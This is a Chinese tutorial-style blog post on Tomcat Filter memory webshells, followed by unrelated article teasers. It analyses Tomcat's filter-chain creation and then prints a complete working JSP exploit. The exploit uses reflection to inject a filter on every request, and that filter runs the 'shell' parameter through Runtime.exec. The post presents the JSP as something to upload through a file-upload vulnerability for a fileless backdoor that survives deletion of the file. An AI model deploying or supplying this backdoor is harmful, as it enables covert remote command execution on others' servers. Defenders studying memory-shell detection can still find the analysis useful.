java Filter内存马分析

目录

0x01 什么是Filter马

0x02 环境搭建

0x03 Filter内存马探索

1.tomcat Filter 的流程分析

2.攻击思路分析

0x04 Filter内存马exp编写

本文由掌控安全学院 - xilitter 投稿

知识基础：

刚开始内存马的这块学习与反序列化并无太大关系，反而与javaweb，tomcat联系更加紧密。所以在学习内存马之前需要先了解JSP，java web的三大件，Servlet，Filter，Listener的基本知识和工作流程和Tomcat 架构的相关内容。

0x01 什么是Filter马

内存马就是无文件木马，无文件落地，它通常会存在进程，内存或者java虚拟机中，特点更加隐蔽，难以排查，并且也难以删除。而今天学习的Filter内存马是传统web应用型内存马，主要将恶意代码注入到过滤器中，当过滤器拦截servlet请求的参数时，过滤器中的恶意代码就会执行。

0x02 环境搭建

首先配置一个 servlet 的web项目，
 

图片


然后一直点下一步就好了，它会自动帮我们生成一个简单的servlet
pom.xml中导入tomcat相关依赖

<dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-catalina</artifactId>
            <version>9.0.38</version>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-websocket</artifactId>
            <version>9.0.38</version>
        </dependency>

方便之后调试代码，在这之后我们创建一个自定义的Filter过滤器

package com.example.memoryhorse;
import javax.servlet.*;
import java.io.IOException;

public class MyFilter implements Filter{
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("执行过滤功能");
        servletRequest.setCharacterEncoding("utf-8");
        servletResponse.setCharacterEncoding("utf-8");
        servletResponse.setContentType("text/html;charset=UTF-8");
        filterChain.doFilter(servletRequest,servletResponse);
        System.out.println(servletRequest.getParameter("cmd"));
        Runtime.getRuntime().exec(servletRequest.getParameter("cmd"));
    }
}

重写了doFilter方法，里面添加恶意代码，接收cmd参数，执行任意命令。web.xml中配置相关参数

<filter>
    <filter-name>MyFilter</filter-name>
    <filter-class>com.example.memoryhorse.MyFilter</filter-class>
</filter>
<filter-mapping>
    <filter-name>MyFilter</filter-name>
    <url-pattern>/MyFilter</url-pattern>
</filter-mapping>

这里我定义的是/MyFilter路由，在访问这个路由时，就会被我们自定义的过滤器拦截

0x03 Filter内存马探索

这个时候是不是就有点像内存马的样子，我们注册了一个恶意的 /MyFilter 路由，访问这个路由可以执行任意代码。测试一下
 

图片


成功弹出计算器，这也是注入Filter内存马的一个抽象的体现。然而在实际攻防场景中，我们不可能在别人服务器上插入自己自定义的过滤器，web.xml这个配置文件也不是那么容易修改，就算修改了配置文件也很好排查，起不到隐秘的效果，要想动态的注册Filter马，就必须弄清楚过滤器的创建和调用过程。

1.tomcat Filter 的流程分析

在MyFilter的doFilter方法里下个断点，访问/MyFilter路由，会被我们自定义的过滤器拦截，doFilter方法是处理过滤功能的方法，开始调试
 

图片


这个filterChain是一个过滤器链，通过调试看到里面存放着两个过滤器，一个是我们自定义的，一个是 tomcat 自带的，跟进它的doFilter方法
判断 Globals.IS_SECURITY_ENABLED 安全模式是否开启，这里判断false，
 

图片


跟进 internalDoFilter 方法
 

图片


filters 是过滤器链数组，取数组的下标，遍历过滤器，赋值给filterConfig
 

图片


此时的过滤器为WsFilter 调用它的doFilter方法，跟进看一下
 

图片


这里的判断 是否满足WebSocket握手的特殊条件，而且是否已经配置了相应的类来处理WebSocket连接，如果两个都不满足，然后回调用过滤器链中的下一个过滤器。继续跟进
又回到了 internalDoFilter 方法，此时pos=2，不满足if条件。也就是说当过滤器遍历完后，就会调用 service 方法处理具体的业务请求
 

图片


事实上可以定义多个过滤器，当拦截请求后，从filterChain 中一个个调用doFilter方法，最终执行 service 方法
那么Filter链是怎么一步步创建的，我们要注册一个恶意的Filter进去就需要了解Filter链的创建过程
 

图片


通过执行流可以看到不断调用 invoke 方法，跟进最后一个 invoke方法，也就是 StandardWrapperValve 类的 invoke 方法，
 

图片


这里已经创建好了 Filter链，往上翻代码，
 

图片


createFilterChain 就是创建Filter链的重要方法，进入到这个方法下个断点，开始调试
 

图片


这里实例化一个filterChain，设置了当前过滤器链中的 Servlet，然后获取当前 Servlet 包含在的上下文，从调式信息就可以看到是 StandardContext 对象，最后定义一个filterMaps 获取了当前上下文中的过滤器映射
 

图片


此时的filterMaps就获取到了两个过滤器，到后面会对filterMaps进行两次遍历
这段代码的目的是将根据 URL 和 Servlet 名称匹配的过滤器配置添加到过滤器链中，以确保在请求处理过程中应用适当的过滤器。匹配过滤器配置时，会检查 Dispatcher 类型、URL 和 Servlet 名称，然后将匹配的过滤器配置添加到过滤器链中。如果没有匹配的过滤器配置，继续处理下一个过滤器映射
 

图片


filterConfig 是通过调用context上下文的findFilterConfig方法获取，filterConfigs是一个Map，从里面拿
 

图片


最后通过 addFilter 方法将过滤器添加到链中。

2.攻击思路分析

过滤器是从filterConfigs这个Map里拿的，那么我们把恶意的Filter添加进 filterConfigs 里，等它取出来，添加到Filter链中就可以了，那么接下来怎么构造过滤器，也就是filterConfig，看调试信息
 

图片


首先获取上下文context，然后就是自定义的filter代码，最后一个filterDef就是对应web.xml中对filter的配置，fiterConfig的相关内容都是从context中得到

FilterDefs：存放 FilterDef 的数组 ，FilterDef 中存储着我们过滤器名，过滤器实例等基本信息
FilterConfigs：存放 filterConfig 的数组，在 FilterConfig 中主要存放 FilterDef 和Filter 对象等信息
FilterMaps：存放 FilterMap 的数组，在 FilterMap 中主要存放了 FilterName 和 对应的 URLPattern

所以只要我们将filter ，FilterDefs，FilterMaps添加到FilterConfigs中就可以添加filter了
贴上别的师傅的流程图
 

图片


其中这里涉及到了几个类

ServletContext：
javax.servlet.ServletContextServlet规范中规定了的一个ServletContext接口，提供了Web应用所有Servlet的视图，通过它可以对某个Web应用的各种资源和功能进行访问。WEB容器在启动时，它会为每个Web应用程序都创建一个对应的ServletContext，它代表当前Web应用。并且它被所有客户端共享。 

ApplicationContext：
org.apache.catalina.core.ApplicationContext
对应Tomcat容器，为了满足Servlet规范，必须包含一个ServletContext接口的实现。Tomcat的Context容器中都会包含一个ApplicationContext。

StandardContext：
Catalina主要包括Connector和Container，StandardContext就是一个Container，它主要负责对进入的用户请求进行处理。实际来说，不是由它来进行处理，而是交给内部的valve处理。
一个context表示了一个外部应用，它包含多个wrapper，每个wrapper表示一个servlet定义。（Tomcat 默认的 Service 服务是 Catalina）

引用师傅的解释，当前这是前面tomcat架构的内容，所以基础内容还是要了解。

0x04 Filter内存马exp编写

通过反射创建上面需要的几个对象

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.IOException" %>
<%


//请求对象 request 中获取 ServletContext 对象。
    ServletContext servletContext = request.getServletContext();
//ApplicationContextFacade 是 Spring 框架中的一个类，用于封装 Spring 的 Web 应用程序上下文。
    ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
//通过反射获取上下文
    Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
    applicationContextFacadeContext.setAccessible(true);


// context 字段，即 Spring 的应用程序上下文对象。通过反射获取到该字段的值，它被强制转换为 ApplicationContext 类型
    ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
//从 ApplicationContext 类中获取一个名为 "context" 的私有字段。这个字段存储了实际的 Spring 应用程序上下文对象
    Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
    applicationContextContext.setAccessible(true);
    //类型转换standardContext，标准的web应用程序上下文
    StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);


    //创建filterConfigs
    Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigs.setAccessible(true);
    HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
    String filterName = "Filter";
    if (hashMap.get(filterName)==null){
        //构造filter对象
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {
                System.out.println("filter初始化");
            }
            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                servletRequest.setCharacterEncoding("utf-8");
                servletResponse.setCharacterEncoding("utf-8");
                servletResponse.setContentType("text/html;charset=UTF-8");
                filterChain.doFilter(servletRequest,servletResponse);
                System.out.println(servletRequest.getParameter("shell"));
                Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
                System.out.println("执行过滤");
            }
            @Override
            public void destroy() {
            }
        };
        //构造filterDef对象
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(filter.getClass().getName());
        //将过滤器的配置信息添加到应用程序上下文中
        standardContext.addFilterDef(filterDef);


        //构造filterMap对象
        FilterMap filterMap = new FilterMap();
        //添加映射的路由为所有请求
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(filterName);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        //将上述设置好的过滤器映射对象添加到 StandardContext 中，并将其插入到已有的过滤器映射之前
        standardContext.addFilterMapBefore(filterMap);


        //构造filterConfig
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);


        //将filterConfig添加到filterConfigs中，即可完成注入
        hashMap.put(filterName,applicationFilterConfig);
        response.getWriter().println("注入完成");
    }
%>

为什么要写jsp文件，因为在实际场景中，可以通过文件上传漏洞将这个jsp马上传上去完成内存马的注入。注释上写了，分步编写exp。
 

图片


注入成功后，我们对服务器访问任何请求，都会执行恶意代码。而且当jsp文件删除后，木马仍然有效。它存在当前的web应用上下文中，所以重启服务器就没了。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mfbz.cn/a/261274.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

如何制作一本电子产品图册，打开线上推广呢

如何制作一本电子产品图册，打开线上推广呢

​随着互联网的普及和社交媒体的兴起&#xff0c;越来越多的企业开始注重线上传播。对于产品而言&#xff0c;制作一本精美的产品图册不仅可以展示产品的外观和特点&#xff0c;还可以通过线上传播吸引更多的潜在客户。 不会制作的朋友们&#xff0c;其实也不用担心&#xff0c…
阅读更多...
使用 uiautomatorviewer 获取元素的定位信息

使用 uiautomatorviewer 获取元素的定位信息

1. 使用 adb 连接设备&#xff08;真机或模拟器&#xff09; 连接夜神模拟器&#xff1a;adb connect 127.0.0.1:62001 连接MuMu模拟器&#xff1a;adb connect 127.0.0.1:7555 2. 打开 uiautomatorviewer 在 android-sdk --> tools 目录&#xff0c;找到 uiautomatorvie…
阅读更多...
LeetCode Hot100 215.数组中的第k个最大元素

LeetCode Hot100 215.数组中的第k个最大元素

题目&#xff1a; 给定整数数组 nums 和整数 k&#xff0c;请返回数组中第 k 个最大的元素。 请注意&#xff0c;你需要找的是数组排序后的第 k 个最大的元素&#xff0c;而不是第 k 个不同的元素。 你必须设计并实现时间复杂度为 O(n) 的算法解决此问题。 方法一&#xff…
阅读更多...
获取请求体中json数据并解析到实体对象

获取请求体中json数据并解析到实体对象

目录 相关依赖 前端代码 后端代码 测试结果 相关依赖 <dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.83</version> </dependency> <dependency><groupId>comm…
阅读更多...
上传app到app store的完整流程

上传app到app store的完整流程

上传ios的app到app store首先需要一个打包好的ipa文件。 要上传这个ipa必须要使用同一个苹果开发者账号的证书打包&#xff0c;才能上架到同一个app store上&#xff0c;假如是使用别人的证书打包的&#xff0c;只能上传到别人的app store账号。 假如你还没有创建证书&#x…
阅读更多...
route 路由使用记录

route 路由使用记录

一、路由的基本介绍 路由是计算机网络中的一个重要概念&#xff0c;它用于确定数据包从源地址到目的地址的路径。在网络中&#xff0c;路由器是负责转发数据包的设备。 下面是关于路由的基本知识和使用方法的介绍&#xff1a; 路由表&#xff1a;路由器通过路由表来确定数据包…
阅读更多...
Excel 理解IF({1,0}...结构啥意思

Excel 理解IF({1,0}...结构啥意思

背景知识&#xff1a; IF(条件,是则结果,否则结果) 逻辑真除了用True以外&#xff0c;还可以用不为0的数值&#xff0c;常用的是1&#xff1b;逻辑假除了用Fasle以外&#xff0c;还可以用数值0 理解公式 IF({1,0},B2:B8&C2:C8,D2:D8)就是构造一个二维数组&#xff0c;把…
阅读更多...
Unity中Shader平移矩阵

Unity中Shader平移矩阵

文章目录 前言方式一&#xff1a;对顶点本地空间下的坐标进行相加平移1、在属性面板定义一个四维变量记录在 xyz 上平移多少。2、在常量缓冲区进行申明3、在顶点着色器中&#xff0c;在进行其他坐标转化之前&#xff0c;对模型顶点本地空间下的坐标进行转化4、我们来看看效果 方…
阅读更多...
Linux宝塔面板本地部署Discuz论坛发布到公网访问【无需公网IP】

Linux宝塔面板本地部署Discuz论坛发布到公网访问【无需公网IP】

文章目录 前言1.安装基础环境2.一键部署Discuz3.安装cpolar工具4.配置域名访问Discuz5.固定域名公网地址6.配置Discuz论坛 前言 Crossday Discuz! Board&#xff08;以下简称 Discuz!&#xff09;是一套通用的社区论坛软件系统&#xff0c;用户可以在不需要任何编程的基础上&a…
阅读更多...
产品需求分析师的职责内容(合集)

产品需求分析师的职责内容(合集)

产品需求分析师的职责内容1 职责&#xff1a; 1、根据公司战略规划&#xff0c;负责妇产科相关平台产品的中长期规划; 2、组织需求调研、收集、分析、整理、提炼、用户的需求&#xff0c;分析形成可行性研究报告; 3、深入挖掘产品需求&#xff0c;管理用户及公司内部业务需求&a…
阅读更多...
20V升26V 600mA升压型LED驱动芯片，PWM调光芯片-AH1160

20V升26V 600mA升压型LED驱动芯片，PWM调光芯片-AH1160

AH1160是一个功能强大的升压型LED驱动芯片&#xff0c;专为需要精确控制LED亮度的PWM调光应用而设计。它可将20V输入电压升压至26V&#xff0c;同时提供稳定的600mA电流输出&#xff0c;适用于各种LED照明设备。 芯片特点&#xff1a; 1. 输入电压范围&#xff1a;AH1160可在…
阅读更多...
6个免费设计资源站，设计师们赶紧收藏！

6个免费设计资源站，设计师们赶紧收藏！

本期给大家分享5个免费的设计资源站&#xff0c;设计师必备的设计设计神奇&#xff0c;绝对能帮助你在工作中事半功倍&#xff0c;赶紧收藏吧~ 1、菜鸟图库 https://www.sucai999.com/?vNTYwNDUx 菜鸟图库是我推荐过很多次的网站&#xff0c;主要是站内素材多&#xff0c;像…
阅读更多...
Java：获取当前线程的线程组

Java：获取当前线程的线程组

代码示例&#xff1a; package com.thb;public class Demo4 {public static void main(String[] args) {ThreadGroup threadGroup Thread.currentThread().getThreadGroup();System.out.println(threadGroup.getName());} }运行输出&#xff1a;
阅读更多...
详解数据科学自动化与机器学习自动化

详解数据科学自动化与机器学习自动化

过去十年里&#xff0c;人工智能&#xff08;AI&#xff09;构建自动化发展迅速并取得了多项成就。在关于AI未来的讨论中&#xff0c;您可能会经常听到人们交替使用数据科学自动化与机器学习自动化这两个术语。事实上&#xff0c;这些术语有着不同的定义&#xff1a;如今的自动…
阅读更多...
excel统计分析——偏度、峰度

excel统计分析——偏度、峰度

参考链接&#xff1a; 偏度与峰度的正态性分布判断 - 知乎 描述统计学 - 知乎 样本偏度(skewness)与随机变量的偏度及三阶统计量之间的关系和计算估计-CSDN博客 数据分析中如何衡量数据的分布 - 知乎 KURT 函数 - Microsoft 支持 SKEW 函数 - Microsoft 支持 Standard e…
阅读更多...
Python中的函数

Python中的函数

创建和使用 创建函数的语法如下&#xff1a; def 函数名(参数):代码块(函数体) 函数的参数 形参&#xff1a;在定义函数的时候传递的参数 实参&#xff1a;在调用函数时传递的参数 无参&#xff1a;没有任何参数 位置参数 实参的位置和形参一一对应&#xff0c;不能多也不…
阅读更多...
PowerDesigner画模型工具下载安装及基本操作

PowerDesigner画模型工具下载安装及基本操作

进行大型项目代码开发之前&#xff0c;一般会进行模型设计&#xff0c;画概念模型&#xff08;CDM&#xff09;、逻辑模型&#xff08;LDM&#xff09;、物理模型&#xff08;PDM&#xff09;。下面说一下PowerDesigner画模型工具下载安装及基本操作 一、下载与安装&#xff1…
阅读更多...
如何解决苹果应用商城审核拒绝的Guideline 2.3.1 - Performance问题

如何解决苹果应用商城审核拒绝的Guideline 2.3.1 - Performance问题

当您的应用程序在苹果应用商城审核过程中被拒绝时&#xff0c;苹果会向您发送一封邮件&#xff0c;其中提供了关于拒绝原因的详细信息。本文将深入探讨如何正确处理Guideline 2.3.1 - Performance问题&#xff0c;并提供解决方案和优化建议&#xff0c;以确保您的应用程序能够通…
阅读更多...
LeetCode刷题--- 括号生成

LeetCode刷题--- 括号生成

个人主页&#xff1a;元清加油_【C】,【C语言】,【数据结构与算法】-CSDN博客 个人专栏 力扣递归算法题 http://t.csdnimg.cn/yUl2I 【C】 http://t.csdnimg.cn/6AbpV 数据结构与算法 http://t.csdnimg.cn/hKh2l 前言&#xff1a;这个专栏主要讲述递归递归、搜…
阅读更多...
韩语中的一次多用-柯桥基础韩语学习

韩语中的一次多用-柯桥基础韩语学习

1.动词&#xff0c;写 일기를 쓰다 写日记 2.动词&#xff0c;戴&#xff08;帽子&#xff0c;眼镜&#xff0c;口罩&#xff09; 안경을 쓰다 戴眼镜 3.动词&#xff0c;使用&#xff08;材料&#xff0c;道具&#xff0c;手段&#xff09; 세제를 쓰다 使用洗剂 4.动词&am…
阅读更多...
最新文章

Copyright @ 2022~2023

友情链接： 我的编程经验分享 一条长河网 尧图网站开发 尧图建网站